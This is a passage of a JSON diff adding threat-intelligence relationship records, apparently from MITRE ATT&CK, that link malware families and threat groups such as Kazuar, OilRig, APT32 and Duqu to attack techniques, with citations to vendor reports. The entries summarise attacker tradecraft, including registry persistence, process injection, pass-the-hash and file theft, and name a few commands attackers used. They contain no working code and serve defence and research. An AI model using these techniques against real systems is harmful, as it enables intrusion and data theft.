"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83aac36d-6dfa-4c27-b1b1-c200c9240eb9", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-02-01T14:39:36.278Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may query the Registry by running reg query on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d078f862-c090-4e79-808b-ff69887a920c", + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If running in a Windows environment, [Kazuar](https://attack.mitre.org/software/S0265) saves a DLL to disk that is injected into the explorer.exe process to execute the payload. [Kazuar](https://attack.mitre.org/software/S0265) can also be configured to inject and execute within specific processes.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7b2329e5-eacf-4626-bc3c-43331bc09aef", + "external_references": [ + { + "source_name": "Unit 42 Kazuar May 2017", + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "modified": "2019-04-24T15:26:03.622Z", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ddbbd283-6874-4348-82c7-98df6d59ac41", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--565da748-a5c8-417c-8c55-828c6e9f2c35", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.171Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e", + "external_references": [ + { + "source_name": "ESET Sednit Part 1", + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "modified": "2019-02-01T14:39:36.290Z", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) obfuscates strings using a custom stream cipher.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e6f5bde4-869f-4c9a-9414-11ea48386204", + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "modified": "2019-01-30T18:08:51.157Z", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reaver](https://attack.mitre.org/software/S0172) deletes the original dropped file from the victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3bf633d0-5578-4e3a-a599-52f3946f6623", + "external_references": [ + { + "source_name": "Palo Alto Reaver Nov 2017", + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) uses a batch file to kill a security program task and then attempts to remove itself.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4a0c3e46-f94c-48b5-b094-a8f9437857fb", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used netstat -an on a victim to get a listing of network connections.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8edb0383-cae8-43ee-9241-b25e5068cc95", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:29.745Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) uses a batch file to delete itself.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--612eacfc-8f08-4e9e-a8f8-5461577064a3", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "modified": "2019-04-22T22:40:41.182Z", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Comnie](https://attack.mitre.org/software/S0244) executes BAT and VBS scripts.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--264be7f9-61e1-4e9e-aa4a-aa4a7420f3b3", + "external_references": [ + { + "source_name": "Palo Alto Comnie", + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "An [APT3](https://attack.mitre.org/groups/G0022) downloader uses the Windows command \"cmd.exe\" /C whoami. The group also uses a tool to execute commands on remote computers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.056Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41d61146-4a42-4897-b4a1-a706130a322d", + "external_references": [ + { + "source_name": "FireEye Operation Double Tap", + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + }, + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.359Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[httpclient](https://attack.mitre.org/software/S0068) opens cmd.exe on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae370b88-fd93-4803-a154-aa3debf2327b", + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Rancor](https://attack.mitre.org/groups/G0075) launched a scheduled task to gain persistence using the schtasks /create /sc command.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7121357f-cc91-4e6b-a2a6-d8bb51bf4a01", + "external_references": [ + { + "source_name": "Rancor Unit42 June 2018", + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "modified": "2019-04-25T12:37:45.602Z", + "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Final1stspy](https://attack.mitre.org/software/S0355) obtains victim Microsoft Windows version information and CPU architecture.", + "type": "relationship", + "created": "2019-01-31T00:23:06.367Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--854fd292-dbaf-4112-96b2-824364c82a4c", + "external_references": [ + { + "source_name": "Unit 42 Nokki Oct 2018", + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "modified": "2019-01-31T00:23:06.367Z", + "source_ref": "malware--a2282af0-f9dd-4373-9b92-eaf9e11e0c71", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used pass the hash for lateral movement.", + "type": "relationship", + "created": "2019-01-31T01:07:58.553Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0743264d-1356-4f9e-96cc-8698f5e0e862", + "external_references": [ + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.812Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-17T13:11:38.971Z", + "type": "relationship", + "created": "2019-01-31T01:07:58.944Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e25ea0c4-513b-489d-943d-2828034f764f", + "external_references": [ + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) has lured victims to launch malicious attachments and click malicious links delivered via spearphishing emails (often sent from compromised accounts).", + "type": "relationship", + "created": "2019-01-31T02:01:45.715Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--59b6b000-c8c5-4b4a-8801-5102de111111", + "external_references": [ + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.209Z", + "source_ref": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T16:59:10.964Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.077Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--edea5971-fc27-4637-8de9-aabcd50784a7", + "external_references": [ + { + "source_name": "Symantec Strider Blog", + "description": "Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets" + }, + { + "source_name": "Kaspersky ProjectSauron Blog", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 8). ProjectSauron: top level cyber-espionage platform covertly extracts encrypted government comms. Retrieved August 17, 2016.", + "url": "https://securelist.com/faq-the-projectsauron-apt/75533/" + } + ], + "source_ref": "intrusion-set--277d2f87-2ae5-4730-a3aa-50c1fdff9656", + "relationship_type": "uses", + "target_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHOTPUT](https://attack.mitre.org/software/S0063) has a command to list all servers in the domain, as well as one to locate domain controllers on a domain.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ea25bfb-3e3a-42cb-8d2a-939169057806", + "external_references": [ + { + "source_name": "Palo Alto CVE-2015-3113 July 2015", + "description": "Falcone, R. and Wartell, R.. (2015, July 27). Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved January 22, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--58adaaa8-f1e8-4606-9a08-422e568461eb", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has exploited multiple Microsoft Office and .NET vulnerabilities for execution, including CVE-2017-0199, CVE-2017-8759, and CVE-2017-11882.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--829ec8ab-3e48-442b-beb2-b0d2dbdaaca0", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2019-04-25T12:24:57.195Z", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) first attempts to use a Base64-encoded network protocol over a raw TCP socket for C2, and if that method fails, falls back to a secondary HTTP-based protocol to communicate to an alternate C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a61cf8cf-87f1-4061-ae9d-31e8162bdfef", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:03.485Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a70d06e8-63dd-4cb3-83a5-f7bd8f2a8132", + "external_references": [ + { + "source_name": "Kaspersky Winnti April 2013", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2013, April 11). Winnti. More than just a game. Retrieved February 8, 2017.", + "url": "https://securelist.com/winnti-more-than-just-a-game/37029/" + }, + { + "source_name": "Kaspersky Winnti June 2015", + "description": "Tarakanov, D. (2015, June 22). Games are over: Winnti is now targeting pharmaceutical companies. Retrieved January 14, 2016.", + "url": "https://securelist.com/games-are-over/70991/" + } + ], + "source_ref": "intrusion-set--c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "relationship_type": "uses", + "target_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Modules can be pushed to and executed by [Duqu](https://attack.mitre.org/software/S0038) that copy data to a staging area, compress it, and XOR encrypt it.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0f3af4de-b1cc-4cc2-9eb7-9aa46cdebfcd", + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "modified": "2019-04-24T23:18:53.180Z", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "relationship_type": "uses", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's mapped drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6c9649b7-00c6-4503-a911-9e8b9086eac4", + "external_references": [ + { + "source_name": "Forcepoint Monsoon", + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "relationship_type": "uses", + "target_ref": "attack-pattern--ae676644-d2d2-41b7-af7e-9bed1b55898c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Reg](https://attack.mitre.org/software/S0075) may be used to gather details from the Windows Registry of a local or remote system at the command-line interface.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5365d764-76fa-49ce-b76b-d0344322b037", + "external_references": [ + { + "source_name": "Microsoft Reg", + "description": "Microsoft. (2012, April 17). Reg. Retrieved May 1, 2015.", + "url": "https://technet.microsoft.com/en-us/library/cc732643.aspx" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) can change Internet Explorer settings to reduce warnings about malware activity.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--41e52a99-9797-4c31-8b3c-7adeed98310a", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) takes periodic screenshots and exfiltrates them.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7331b11d-1d5e-4275-ba7e-a83ec4a59259", + "external_references": [ + { + "source_name": "F-Secure Cosmicduke", + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 